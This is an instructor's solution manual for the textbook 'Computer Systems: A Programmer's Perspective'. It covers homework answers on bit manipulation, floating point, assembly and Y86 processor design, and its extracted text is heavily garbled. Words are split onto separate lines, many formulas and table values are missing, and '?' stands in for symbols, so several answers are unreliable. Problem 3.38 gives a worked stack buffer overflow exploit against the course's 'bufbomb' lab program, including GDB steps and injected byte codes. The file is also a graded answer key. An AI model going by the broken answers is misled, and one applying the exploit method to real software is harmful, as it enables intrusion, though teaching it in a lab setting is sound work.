深入理解計算機系統(tǒng)

第二版

習(xí)題答案

Computer

Systems:

A

Programmer’s

Perspective

Instructor’s

Solution

Manual

1

Randal

E.

Bryant

David

R.

O’Hallaron

December

4,

2003

1

Copyright

c

2003,

R.

E.

Bryant,

D.

R.

O’Hallaron.

All

rights

reserved.

Chapter

1

Solutions

to

Homework

Problems

The

text

uses

two

different

kinds

of

exercises:

Practice

Problems.

These

are

problems

that

are

incorporated

directly

into

the

text,

with

explanatory

solutions

at

the

end

of

each

chapter.

Our

intention

is

that

students

will

work

on

these

problems

as

they

read

the

book.

Each

one

highlights

some

particular

concept.

Homework

Problems.

These

are

found

at

the

end

of

each

chapter.

They

vary

in

complexity

from

simple

drills

to

multi-week

labs

and

are

designed

for

instructors

to

give

as

assignments

or

to

use

as

recitation

examples.

This

document

gives

the

solutions

to

the

homework

problems.

1.1 Chapter

1:

A

Tour

of

Computer

Systems

1.2 Chapter

2:

Representing

and

Manipulating

Information

Problem

2.40

Solution:

This

exercise

should

be

a

straightforward

variation

on

the

existing

code.

code/data/show-ans.c

1

void

show_short(short

int

x)

2

{

3 show_bytes((byte_pointer)

&x,

sizeof(short

int));

4

}

5

6

void

show_long(long

int

x)

7

{

8 show_bytes((byte_pointer)

&x,

sizeof(long));

9

}

1

2 CHAPTER

1.

SOLUTIONS

TO

HOMEWORK

PROBLEMS

10

11

void

show_double(double

x)

12

{

13 show_bytes((byte_pointer)

&x,

sizeof(double));

14

}

code/data/show-ans.c

Problem

2.41

Solution:

There

are

many

ways

to

solve

this

problem.

The

basic

idea

is

to

create

some

multibyte

datum

with

different

values

for

the

most

and

least-signi?cant

bytes.

We

then

read

byte

0

and

determine

which

byte

it

is.

In

the

following

solution

is

to

create

an

int

with

value

1.

We

then

access

its

?rst

byte

and

convert

it

to

an

int.

This

byte

will

equal

0

on

a

big-endian

machine

and

1

on

a

little-endian

machine.

code/data/show-ans.c

1

int

is_little_endian(void)

2

{

3 /*

MSB

=

0,

LSB

=

1

*/

4 int

x

=

1;

5

6 /*

Return

MSB

when

big-endian,

LSB

when

little-endian

*/

7 return

(int)

(*

(char

*)

&x);

8

}

code/data/show-ans.c

Problem

2.42

Solution:

This

is

a

simple

exercise

in

masking

and

bit

manipulation.

It

is

important

to

mention

that

?0xFF

is

a

way

to

generate

a

mask

that

selects

all

but

the

least

signi?cant

byte

that

works

for

any

word

size.

(x

&

0xFF)

|

(y

&

?0xFF)

Problem

2.43

Solution:

These

exercises

require

thinking

about

the

logical

operation

!

in

a

nontraditional

way.

Normally

we

think

of

it

as

logical

negation.

More

generally,

it

detects

whether

there

is

any

nonzero

bit

in

a

word.

A.

!!x

B.

!!?x

C.

!!(x

&

0xFF)

D.

!!(?x

&

0xFF)

Problem

2.44

Solution:

1.2.

CHAPTER

2:

REPRESENTING

AND

MANIPULATING

INFORMATION 3

There

are

many

solutions

to

this

problem,

but

it

is

a

little

bit

tricky

to

write

one

that

works

for

any

word

size.

Here

is

our

solution:

code/data/shift-ans.c

1

int

int_shifts_are_arithmetic()

2

{

3 int

x

=

?0;

/*

All

1’s

*/

4

5 return

(x

>>

1)

==

x;

6

}

code/data/shift-ans.c

The

above

code

peforms

a

right

shift

of

a

word

in

which

all

bits

are

set

to

1.

If

the

shift

is

arithmetic,

the

resulting

word

will

still

have

all

bits

set

to

1.

Problem

2.45

Solution:

This

problem

illustrates

some

of

the

challenges

of

writing

portable

code.

The

fact

that

1<<32

yields

0

on

some

32-bit

machines

and

1

on

others

is

common

source

of

bugs.

A.

The

C

standard

does

not

de?ne

the

effect

of

a

shift

by

32

of

a

32-bit

datum.

On

the

SPARC

(and

many

other

machines),

the

expression

x

<<

k

shifts

by ,

i.e.,

it

ignores

all

but

the

least

signi?cant

5

bits

of

the

shift

amount.

Thus,

the

expression

1

<<

32

yields

1.

B.

Compute

beyond_msb

as

2

<<

31.

C.

We

cannot

shift

by

more

than

15

bits

at

a

time,

but

we

can

compose

multiple

shifts

to

get

the

desired

effect. Thus,

we

can

compute

set_msb

as

2

<<

15

<<

15,

and

beyond_msb

as

set_msb

<<

1.

Problem

2.46

Solution:

This

problem

highlights

the

difference

between

zero

extension

and

sign

extension.

It

also

provides

an

excuse

to

show

an

interesting

trick

that

compilers

often

use

to

use

shifting

to

perform

masking

and

sign

extension.

A.

The

function

does

not

perform

any

sign

extension.

For

example,

if

we

attempt

to

extract

byte

0

from

word

0xFF,

we

will

get

255,

rather

than .

B.

The

following

code

uses

a

well-known

trick

for

using

shifts

to

isolate

a

particular

range

of

bits

and

to

perform

sign

extension

at

the

same

time.

First,

we

perform

a

left

shift

so

that

the

most

signi?cant

bit

of

the

desired

byte

is

at

bit

position

31.

Then

we

right

shift

by

24,

moving

the

byte

into

the

proper

position

and

peforming

sign

extension

at

the

same

time.

code/data/xbyte.c

1

int

xbyte(packed_t

word,

int

bytenum)

2

{

4 CHAPTER

1.

SOLUTIONS

TO

HOMEWORK

PROBLEMS

3 int

left

=

word

<<

((3-bytenum)

<<

3);

4 return

left

>>

24;

5

}

code/data/xbyte.c

Problem

2.47

Solution:

? ?

Problem

2.48

Solution:

This

problem

lets

students

rework

the

proof

that

complement

plus

increment

performs

negation.

We

make

use

of

the

property

that

two’s

complement

addition

is

associative,

commutative,

and

has

additive

inverses.

Using

C

notation,

if

we

de?ne

y

to

be

x-1,

then

we

have

?y+1

equal

to

-y,

and

hence

?y

equals

-y+1.

Substituting

gives

the

expression

-(x-1)+1,

which

equals

-x.

Problem

2.49

Solution:

This

problem

requires

a

fairly

deep

understanding

of

two’s

complement

arithmetic.

Some

machines

only

provide

one

form

of

multiplication,

and

hence

the

trick

shown

in

the

code

here

is

actually

required

to

perform

that

actual

form.

As

seen

in

Equation

2.16

we

have .

The

?nal

term

has

no

effect

on

the -bit

representation

of ,

but

the

middle

term

represents

a

correction

factor

that

must

be

added

to

the

high

order bits.

This

is

implemented

as

follows:

code/data/uhp-ans.c

1

unsigned

unsigned_high_prod(unsigned

x,

unsigned

y)

2

{

3 unsigned

p

=

(unsigned)

signed_high_prod((int)

x,

(int)

y);

4

5 if

((int)

x

<

0)

/*

x_{w-1}

=

1

*/

6 p

+=

y;

7 if

((int)

y

<

0)

/*

y_{w-1}

=

1

*/

8 p

+=

x;

9 return

p;

10

}

code/data/uhp-ans.c

Problem

2.50

Solution:

Patterns

of

the

kind

shown

here

frequently

appear

in

compiled

code.

1.2.

CHAPTER

2:

REPRESENTING

AND

MANIPULATING

INFORMATION 5

A. :

x

+

(x

<<

2)

B. :

x

+

(x

<<

3)

C. :

(x

<<

4)

-

(x<<1)

D. :

(x

<<

3)

-

(x

<<

6)

Problem

2.51

Solution:

Bit

patterns

similar

to

these

arise

in

many

applications.

Many

programmers

provide

them

directly

in

hex-

adecimal,

but

it

would

be

better

if

they

could

express

them

in

more

abstract

ways.

A. .

?((1

<<

k)

-

1)

B. .

((1

<<

k)

-

1)

<<

j

Problem

2.52

Solution:

Byte

extraction

and

insertion

code

is

useful

in

many

contexts.

Being

able

to

write

this

sort

of

code

is

an

important

skill

to

foster.

code/data/rbyte-ans.c

1

unsigned

replace_byte

(unsigned

x,

int

i,

unsigned

char

b)

2

{

3 int

itimes8

=

i

<<

3;

4 unsigned

mask

=

0xFF

<<

itimes8;

5

6 return

(x

&

?mask)

|

(b

<<

itimes8);

7

}

code/data/rbyte-ans.c

Problem

2.53

Solution:

These

problems

are

fairly

tricky.

They

require

generating

masks

based

on

the

shift

amounts.

Shift

value

k

equal

to

0

must

be

handled

as

a

special

case,

since

otherwise

we

would

be

generating

the

mask

by

performing

a

left

shift

by

32.

code/data/rshift-ans.c

6 CHAPTER

1.

SOLUTIONS

TO

HOMEWORK

PROBLEMS

1

unsigned

srl(unsigned

x,

int

k)

2

{

3 /*

Perform

shift

arithmetically

*/

4 unsigned

xsra

=

(int)

x

>>

k;

5 /*

Make

mask

of

low

order

32-k

bits

*/

6 unsigned

mask

=

k

?

((1

<<

(32-k))

-

1)

:

?0;

7

8 return

xsra

&

mask;

9

}

code/data/rshift-ans.c

code/data/rshift-ans.c

1

int

sra(int

x,

int

k)

2

{

3 /*

Perform

shift

logically

*/

4 int

xsrl

=

(unsigned)

x

>>

k;

5 /*

Make

mask

of

high

order

k

bits

*/

6 unsigned

mask

=

k

?

?((1

<<

(32-k))

-

1)

:

0;

7

8 return

(x

<

0)

?

mask

|

xsrl

:

xsrl;

9

}

code/data/rshift-ans.c

Problem

2.54

Solution:

These

“C

puzzle”

problems

are

a

great

way

to

motivate

students

to

think

about

the

properties

of

computer

arithmetic

from

a

programmer’s

perspective.

Our

standard

lecture

on

computer

arithmetic

starts

by

showing

a

set

of

C

puzzles.

We

then

go

over

the

answers

at

the

end.

A.

(x<y)

==

(-x>-y).

No,

Let

x

= .

B.

((x+y)<<4)

+

y-x

==

17*y+15*x.

Yes,

from

the

ring

properties

of

two’s

complement

arith-

metic.

C.

?x+?y

==

?(x+y).

No,

? ? ? .

D.

(int)

(ux-uy)

==

-(y-x).

Yes.

Due

to

the

isomorphism

between

two’s

complement

and

unsigned

arithmetic.

E.

((x

>>

1)

<<

1)

<=

x.

Yes.

Right

shift

rounds

toward

minus

in?nity.

Problem

2.55

Solution:

This

problem

helps

students

think

about

fractional

binary

representations.

A.

Letting denote

the

value

of

the

string,

we

can

see

that

shifting

the

binary

point positions

to

the

right

gives

a

string ,

which

has

numeric

value ,

and

also

value .

Equating

these

gives .

1.2.

CHAPTER

2:

REPRESENTING

AND

MANIPULATING

INFORMATION 7

B. (a)

For ,

we

have , , .

(b)

For ,

we

have , , .

(c)

For ,

we

have , , .

Problem

2.56

Solution:

This

problem

helps

students

appreciate

the

property

of

IEEE

?oating

point

that

the

relative

magnitude

of

two

numbers

can

be

determined

by

viewing

the

combination

of

exponent

and

fraction

as

an

unsigned

integer.

Only

the

signs

and

the

handling

of requires

special

consideration.

code/data/?oatge-ans.c

1

int

float_ge(float

x,

float

y)

2

{

3 unsigned

ux

=

f2u(x);

4 unsigned

uy

=

f2u(y);

5 unsigned

sx

=

ux

>>

31;

6 unsigned

sy

=

uy

>>

31;

7

8 return

9 (ux<<1

==

0

&&

uy<<1

==

0)

|| /*

Both

are

zero

*/

10 (!sx

&&

sy)

|| /*

x

>=

0,

y

< 0

*/

11 (!sx

&&

!sy

&&

ux

>=

uy)

|| /*

x

>=

0,

y

>=

0

*/

12 (sx

&&

sy

&&

ux

<=

uy); /*

x

< 0,

y

< 0

*/

13

}

code/data/?oatge-ans.c

Problem

2.57

Solution:

Exercises

such

as

this

help

students

understand

?oating

point

representations,

their

precision,

and

their

ranges.

A.

The

number will

have , , ,

and .

The

exponent

bits

will

be and

the

fraction

bits

will

be .

B.

The

largest

odd

integer

that

can

be

represented

exactly

will

have

a

binary

representation

consisting

of 1s.

It

will

have , , ,

and

a

value .

The

bit

representation

of

the

exponent

will

be

the

binary

representation

of

.

The

bit

representation

of

the

fraction

will

be .

C.

The

reciprocal

of

the

smallest

positive

normalized

value

will

have

value .

It

will

have

, ,

and .

The

bit

representation

of

the

exponent

will

be .

The

bit

representation

of

the

fraction

will

be .

Problem

2.58

Solution:

8 CHAPTER

1.

SOLUTIONS

TO

HOMEWORK

PROBLEMS

This

exercise

is

of

practical

value,

since

Intel-compatible

processors

perform

all

of

their

arithmetic

in

ex-

tended

precision.

It

is

interesting

to

see

how

adding

a

few

more

bits

to

the

exponent

greatly

increases

the

range

of

values

that

can

be

represented.

Description Extended

precision

Value Decimal

Smallest

denorm.

Smallest

norm.

Largest

norm.

Problem

2.59

Solution:

We

have

found

that

working

through

?oating

point

representations

for

small

word

sizes

is

very

instructive.

Problems

such

as

this

one

help

make

the

description

of

IEEE

?oating

point

more

concrete.

Description Hex

8000

Smallest

value 3F01

256 4700 —

Largest

denormalized 00FF

FF00 — — —

Number

with

hex

representation

3AA0 —

Problem

2.60

Solution:

This

problem

requires

students

to

think

of

the

relationship

between

int,

float,

and

double.

A.

(double)(float)

x

==

dx.

No.

Try

x

= .

Note

that

it

is

true

with

Linux/GCC,

since

it

uses

a

extended

precision

representation

for

both

double

and

float.

B.

dx

+

dy

==

(double)

(y+x).

No.

Let

x

=

y

= .

C.

dx

+

dy

+

dz

==

dz

+

dy

+

dx.

Yes.

Since

each

value

ranges

between and ,

their

sum

can

be

represented

exactly.

D.

dx

*

dy

*

dz

==

dz

*

dy

*

dx.

No.

Let

dx

= ,

dy= ,

dz

=

.

(Not

detected

with

Linux/gcc)

E.

dx

/

dx

==

dy

/

dy.

No.

Let

x

=

0,

y

=

1.

Problem

2.61

Solution:

This

problem

helps

students

understand

the

relation

between

the

different

categories

of

numbers.

Getting

all

of

the

cutoff

thresholds

correct

is

fairly

tricky.

Our

solution

?le

contains

testing

code.

code/data/fpwr2-ans.c

1.3.

CHAPTER

3:

MACHINE

LEVEL

REPRESENTATION

OF

C

PROGRAMS 9

1

/*

Compute

2**x

*/

2

float

fpwr2(int

x)

{

3

4 unsigned

exp,

sig;

5 unsigned

u;

6

7 if

(x

<

-149)

{

8 /*

Too

small. Return

0.0

*/

9 exp

=

0;

10 sig

=

0;

11 }

else

if

(x

<

-126)

{

12 /*

Denormalized

result

*/

13 exp

=

0;

14 sig

=

1

<<

(x

+

149);

15 }

else

if

(x

<

128)

{

16 /*

Normalized

result.

*/

17 exp

=

x

+

127;

18 sig

=

0;

19 }

else

{

20 /*

Too

big. Return

+oo

*/

21 exp

=

255;

22 sig

=

0;

23 }

24 u

=

exp

<<

23

|

sig;

25 return

u2f(u);

26

}

code/data/fpwr2-ans.c

Problem

2.62

Solution:

This

problem

requires

students

to

work

from

a

bit

representation

of

a

?oating

point

number

to

its

fractional

binary

representation.

A. .

B. .

C.

They

diverge

in

the

ninth

bit

to

the

right

of

the

binary

point.

1.3 Chapter

3:

Machine

Level

Representation

of

C

Programs

Problem

3.31

Solution:

This

is

an

example

of

a

problem

that

requires

students

to

reverse

engineer

actions

of

the

C

compiler.

We

have

found

that

reverse

engineering

is

a

good

way

to

learn

about

both

compilers

and

machine-level

programs.

10 CHAPTER

1.

SOLUTIONS

TO

HOMEWORK

PROBLEMS

int

decode2(int

x,

int

y,

int

z)

{

int

t1

=

y

-

z;

int

t2

=

x

*

t1;

int

t3

=

(t1

<<

31)

>>

31;

int

t4

=

t3

?

t2;

return

t4;

}

Problem

3.32

Solution:

This

code

example

demonstrates

one

of

the

pedagogical

challenges

of

using

a

compiler

to

generate

assembly

code

examples.

Seemingly

insigni?cant

changes

in

the

C

code

can

yield

very

different

results.

Of

course,

students

will

have

to

contend

with

this

property

as

work

with

machine-generated

assembly

code

anyhow.

They

will

need

to

be

able

to

decipher

many

different

code

patterns.

This

problem

encourages

them

to

think

in

abstract

terms

about

one

such

pattern.

The

following

is

an

annotated

version

of

the

assembly

code:

1 movl

8(%ebp),%edx x

2 movl

12(%ebp),%ecx y

3 movl

%edx,%eax

4 subl

%ecx,%eax result

=

x

-

y

5 cmpl

%ecx,%edx Compare

x:y

6 jge

.L3 if

>=

goto

done:

7 movl

%ecx,%eax

8 subl

%edx,%eax result

=

y

-

x

9

.L3: done:

A.

When ,

it

will

compute

?rst and

then .

When it

just

computes .

B.

The

code

for

then-statement

gets

executed

unconditionally. It

then

jumps

over

the

code

for

else-

statement

if

the

test

is

false.

C.

then-statement

t

=

test-expr;

if(t)

goto

done;

else-statement

done:

D.

The

code

in

then-statement

must

not

have

any

side

effects,

other

than

to

set

variables

that

are

also

set

in

else-statement.

1.3.

CHAPTER

3:

MACHINE

LEVEL

REPRESENTATION

OF

C

PROGRAMS 11

Problem

3.33

Solution:

This

problem

requires

students

to

reason

about

the

code

fragments

that

implement

the

different

branches

of

a

switch

statement.

For

this

code,

it

also

requires

understanding

different

forms

of

pointer

dereferencing.

A.

In

line

29,

register

%edx

is

copied

to

register

%eax

as

the

return

value.

From

this,

we

can

infer

that

%edx

holds

result.

B.

The

original

C

code

for

the

function

is

as

follows:

1

/*

Enumerated

type

creates

set

of

constants

numbered

0

and

upward

*/

2

typedef

enum

{MODE_A,

MODE_B,

MODE_C,

MODE_D,

MODE_E}

mode_t;

3

4

int

switch3(int

*p1,

int

*p2,

mode_t

action)

5

{

6 int

result

=

0;

7 switch(action)

{

8 case

MODE_A:

9 result

=

*p1;

10 *p1

=

*p2;

11 break;

12 case

MODE_B:

13 *p2

+=

*p1;

14 result

=

*p2;

15 break;

16 case

MODE_C:

17 *p2

=

15;

18 result

=

*p1;

19 break;

20 case

MODE_D:

21 *p2

=

*p1;

22 /*

Fall

Through

*/

23 case

MODE_E:

24 result

=

17;

25 break;

26 default:

27 result

=

-1;

28 }

29 return

result;

30

}

Problem

3.34

Solution:

This

problem

gives

students

practice

analyzing

disassembled

code.

The

switch

statement

contains

all

the

features

one

can

imagine—cases

with

multiple

labels,

holes

in

the

range

of

possible

case

values,

and

cases

that

fall

through.

code/asm/switchbody-ans.c

12 CHAPTER

1.

SOLUTIONS

TO

HOMEWORK

PROBLEMS

1

int

switch_prob(int

x)

2

{

3 int

result

=

x;

4

5 switch(x)

{

6 case

50:

7 case

52:

8 result

<<=

2;

9 break;

10 case

53:

11 result

>>=

2;

12 break;

13 case

54:

14 result

*=

3;

15 /*

Fall

through

*/

16 case

55:

17 result

*=

result;

18 /*

Fall

through

*/

19 default:

20 result

+=

10;

21 }

22

23 return

result;

24

}

code/asm/switchbody-ans.c

Problem

3.35

Solution:

This

example

illustrates

a

case

where

the

compiler

was

clever,

but

humans

can

be

more

clever.

Such

cases

are

not

unusual,

and

it

is

important

for

students

to

realize

that

compilers

do

not

always

generate

optimal

code.

In

the

following,

we

have

merged

variables

B

and

nTjPk

into

a

single

pointer

Bptr.

This

pointer

gets

incremented

by

n

(which

the

compiler

scales

by

4)

on

every

iteration.

code/asm/varprod-ans.c

1

int

var_prod_ele_opt

(var_matrix

A,

var_matrix

B,

int

i,

int

k,

int

n)

2

{

3 int

*Aptr

=

&A[i*n];

4 int

*Bptr

=

&B[k];

5 int

result

=

0;

6 int

cnt

=

n;

7

8 if

(n

<=

0)

9 return

result;

10

11 do

{

12 result

+=

(*Aptr)

*

(*Bptr);

13 Aptr

+=

1;

14 Bptr

+=

n;

15 cnt--;

1.3.

CHAPTER

3:

MACHINE

LEVEL

REPRESENTATION

OF

C

PROGRAMS 13

16 }

while

(cnt);

17

18 return

result;

19

}

code/asm/varprod-ans.c

Problem

3.36

Solution:

This

problem

requires

using

a

variety

of

skills

to

determine

parameters

of

the

structure.

One

tricky

part

is

that

the

values

are

not

computed

in

the

same

order

in

the

object

code

as

they

are

in

the

assembly

code.

The

analysis

requires

understanding

data

structure

layouts,

pointers,

address

computations,

and

performing

arithmetic

computations

using

shifts

and

adds.

Problems

such

as

this

one

make

good

exercises

for

in-class

discussion,

such

as

during

a

recitation

period.

Try

to

convince

students

that

these

are

“brain

teasers.”

The

answer

can

only

be

determined

by

assembling

a

number

of

different

clues.

Here

is

a

sequence

of

steps

that

leads

to

the

answer:

1.

Lines

5

to

8

compute

the

value

of

ap

as bp ,

where bp

is

the

value

of

pointer

bp.

From

this

we

can

infer

that

structure

a_struct

must

have

a

20-byte

allocation..

2.

Line

11

computes

the

expression

bp->right

using

a

displacement

of

184

(0xb8).

That

means

array

a

spans

from

bytes

4

to

184

of

b_struct,

implying

that

CNT

is .

3.

Line

9

appears

to

dereference

ap.

Actually,

it

is

computing

ap->idx,

since

?eld

idx

is

at

the

beginning

of

structure

a_struct.

4.

Line

10

scales

ap->idx

by

4,

and

line

13

stores

n

at

an

address

computed

by

adding

this

scaled

value,

ap,

and

4.

From

this

we

conclude

that

?eld

x

denotes

an

array

of

integers

that

follow

right

after

?eld

idx.

This

analysis

leads

us

to

the

following

answers:

A.

CNT

is

9.

B. code/asm/structprob-ans.c

1

typedef

struct

{

2 int

idx;

3 int

x[4];

4

}

a_struct;

code/asm/structprob-ans.c

Problem

3.37

Solution:

This

problem

gets

students

in

the

habit

of

writing

reliable

code.

As

a

general

principle,

code

should

not

be

vulnerable

to

conditions

over

which

it

has

no

control,

such

as

the

length

of

an

input

line.

The

following

implementation

uses

the

library

function

fgets

to

read

up

to

BUFSIZE

characters

at

a

time.

14 CHAPTER

1.

SOLUTIONS

TO

HOMEWORK

PROBLEMS

1

/*

Read

input

line

and

write

it

back

*/

2

/*

Code

will

work

for

any

buffer

size. Bigger

is

more

time-efficient

*/

3

#define

BUFSIZE

64

4

void

good_echo()

5

{

6 char

buf[BUFSIZE];

7 int

i;

8 while

(1)

{

9 if

(!fgets(buf,

BUFSIZE,

stdin))

10 return; /*

End

of

file

or

error

*/

11 /*

Print

characters

in

buffer

*/

12 for

(i

=

0;

buf[i]

&&

buf[i]

!=

’\n’;

i++)

13 if

(putchar(buf[i])

==

EOF)

14 return;

/*

Error

*/

15 if

(buf[i]

==

’\n’)

{

16 /*

Reached

terminating

newline

*/

17 putchar(’\n’);

18 return;

19 }

20 }

21

}

An

alternative

implementation

is

to

use

getchar

to

read

the

characters

one

at

a

time.

Problem

3.38

Solution:

Successfully

mounting

a

buffer

over?ow

attack

requires

understanding

many

aspects

of

machine-level

pro-

grams.

It

is

quite

intriguing

that

by

supplying

a

string

to

one

function,

we

can

alter

the

behavior

of

another

function

that

should

always

return

a

?xed

value.

In

assigning

this

problem,

you

should

also

give

students

a

stern

lecture

about

ethical

computing

practices

and

dispell

any

notion

that

hacking

into

systems

is

a

desirable

or

even

acceptable

thing

to

do.

Our

solution

starts

by

disassembling

bufbomb,

giving

the

following

code

for

getbuf:

1

080484f4

<getbuf>:

2 80484f4: 55 push %ebp

3 80484f5: 89

e5 mov %esp,%ebp

4 80484f7: 83

ec

18 sub $0x18,%esp

5 80484fa: 83

c4

f4 add $0xfffffff4,%esp

6 80484fd: 8d

45

f4 lea 0xfffffff4(%ebp),%eax

7 8048500: 50 push %eax

8 8048501: e8

6a

ff

ff

ff call 8048470

<getxs>

9 8048506: b8

01

00

00

00 mov $0x1,%eax

10 804850b: 89

ec mov %ebp,%esp

11 804850d: 5d pop %ebp

12 804850e: c3 ret

13 804850f: 90 nop

We

can

see

on

line

6

that

the

address

of

buf

is

12

bytes

below

the

saved

value

of

%ebp,

which

is

4

bytes

below

the

return

address.

Our

strategy

then

is

to

push

a

string

that

contains

12

bytes

of

code,

the

saved

value

1.3.

CHAPTER

3:

MACHINE

LEVEL

REPRESENTATION

OF

C

PROGRAMS 15

of

%ebp,

and

the

address

of

the

start

of

the

buffer.

To

determine

the

relevant

values,

we

run

GDB

as

follows:

1.

First,

we

set

a

breakpoint

in

getbuf

and

run

the

program

to

that

point:

(gdb)

break

getbuf

(gdb)

run

Comparing

the

stopping

point

to

the

disassembly,

we

see

that

it

has

already

set

up

the

stack

frame.

2.

We

get

the

value

of

buf

by

computing

a

value

relative

to

%ebp:

(gdb)

print

/x

(%ebp

+

12)

This

gives

0xbfffefbc.

3.

We

?nd

the

saved

value

of

register

%ebp

by

dereferencing

the

current

value

of

this

register:

(gdb)

print

/x

*$ebp

This

gives

0xbfffefe8.

4.

We

?nd

the

value

of

the

return

pointer

on

the

stack,

at

offset

4

relative

to

%ebp:

(gdb)

print

/x

*((int

*)$ebp+1)

This

gives

0x8048528

We

can

now

put

this

information

together

to

generate

assembly

code

for

our

attack:

1 pushl

$

0x8048528 Put

correct

return

pointer

back

on

stack

2 movl

$0xdeadbeef,%eax Alter

return

value

3 ret Re-execute

return

4

.align

4 Round

up

to

12

5 .long

0xbfffefe8 Saved

value

of

%ebp

6 .long

0xbfffefbc Location

of

buf

7 .long

0x00000000 Padding

Note

that

we

have

used

the

.align

statement

to

get

the

assembler

to

insert

enough

extra

bytes

to

use

up

twelve

bytes

for

the

code.

We

added

an

extra

4

bytes

of

0s

at

the

end,

because

in

some

cases

OBJDUMP

would

not

generate

the

complete

byte

pattern

for

the

data.

These

extra

bytes

(plus

the

termininating

null

byte)

will

over?ow

into

the

stack

frame

for

test,

but

they

will

not

affect

the

program

behavior.

Assembling

this

code

and

disassembling

the

object

code

gives

us

the

following:

1 0: 68

28

85

04

08 push $0x8048528

2 5: b8

ef

be

ad

de mov $0xdeadbeef,%eax

3 a: c3 ret

4 b: 90 nop Byte

inserted

for

alignment.

5 c: e8

ef

ff

bf

bc call 0xbcc00000 Invalid

disassembly.

6 11: ef out %eax,(%dx) Trying

to

diassemble

7 12: ff (bad) data

8 13: bf

00

00

00

00 mov $0x0,%edi

16 CHAPTER

1.

SOLUTIONS

TO

HOMEWORK

PROBLEMS

From

this

we

can

read

off

the

byte

sequence:

68

28

85

04

08

b8

ef

be

ad

de

c3

90

e8

ef

ff

bf

bc

ef

ff

bf

00

00

00

00

Problem

3.39

Solution:

This

problem

is

a

variant

on

the

asm

examples

in

the

text.

The

code

is

actually

fairly

simple.

It

relies

on

the

fact

that

asm

outputs

can

be

arbitrary

lvalues,

and

hence

we

can

use

dest[0]

and

dest[1]

directly

in

the

output

list.

code/asm/asmprobs-ans.c

1

void

full_umul(unsigned

x,

unsigned

y,

unsigned

dest[])

2

{

3 asm("movl

%2,%%eax;

mull

%3;

movl

%%eax,%0;

movl

%%edx,%1"

4 :

"=r"

(dest[0]),

"=r"

(dest[1])

/*

Outputs

*/

5 :

"r" (x), "r" (y) /*

Inputs

*/

6 :

"%eax",

"%edx" /*

Clobbers

*/

7 );

8

}

code/asm/asmprobs-ans.c

Problem

3.40

Solution:

For

this

example,

students

essentially

have

to

write

the

entire

function

in

assembly.

There

is

no

(apparent)

way

to

interface

between

the

?oating

point

registers

and

the

C

code

using

extended

asm.

code/asm/fscale.c

1

/*

Compute

x

*

2?n. Relies

on

known

stack

positions

for

arguments

*/

2

void

scale(double

x,

int

n,

double

*dest)

3

{

4 /*

Insert

the

following

assembly

code

sequence:

5 fildl

16(%ebp) #

Convert

n

to

floating

point

and

push

6 fldl 8(%ebp) #

Push

x

7 fscale #

Compute

x

*

2?n

8 movl 20(%ebp) #

Get

dest

9 fstpl (%eax) #

Store

result

at

*dest

10 */

11 asm("fildl

16(%%ebp);

fldl

8(%%ebp);

fscale;

movl

20(%%ebp),%%eax;

12 fstpl

(%%eax);

fstp

%%st(0)"

13 :::

"%eax");

14

15

}

code/asm/fscale.c

1.4.

CHAPTER

4:

PROCESSOR

ARCHITECTURE 17

1.4 Chapter

4:

Processor

Architecture

Problem

4.32

Solution:

This

problem

makes

students

carefully

examine

the

tables

showing

the

computation

stages

for

the

different

instructions.

The

steps

for

iaddl

are

a

hybrid

of

those

for

irmovl

and

OPl.

Stage iaddl

V,

rB

Fetch icode:ifun M

PC

rA:rB M

PC

valC M

PC

valP PC

Decode

valB R

rB

Execute valE valB valC

Memory

Write

back R

rB valE

PC

update PC valP

Problem

4.33

Solution:

The

leave

instruction

is

fairly

obscure,

but

working

through

its

implementation

makes

it

easier

to

under-

tand

the

implementation

of

the

popl

instruction,

one

of

the

trickiest

of

the

Y86

instructions.

Stage leave

Fetch icode:ifun M

PC

valP PC

Decode valA R

valB R

Execute valE valB

Memory valM M

valA

Write

back R valE

R valM

PC

update PC valP

Problem

4.34

Solution:

The

following

HCL

code

includes

implementations

of

both

the

iaddl

instruction

and

the

leave

instruc-

tions.

The

implementations

are

fairly

straightforward

given

the

computation

steps

listed

in

the

solutions

to

problems

4.32

and

4.33.

You

can

test

the

solutions

using

the

test

code

in

the

ptest

subdirectory.

Make

sure

you

use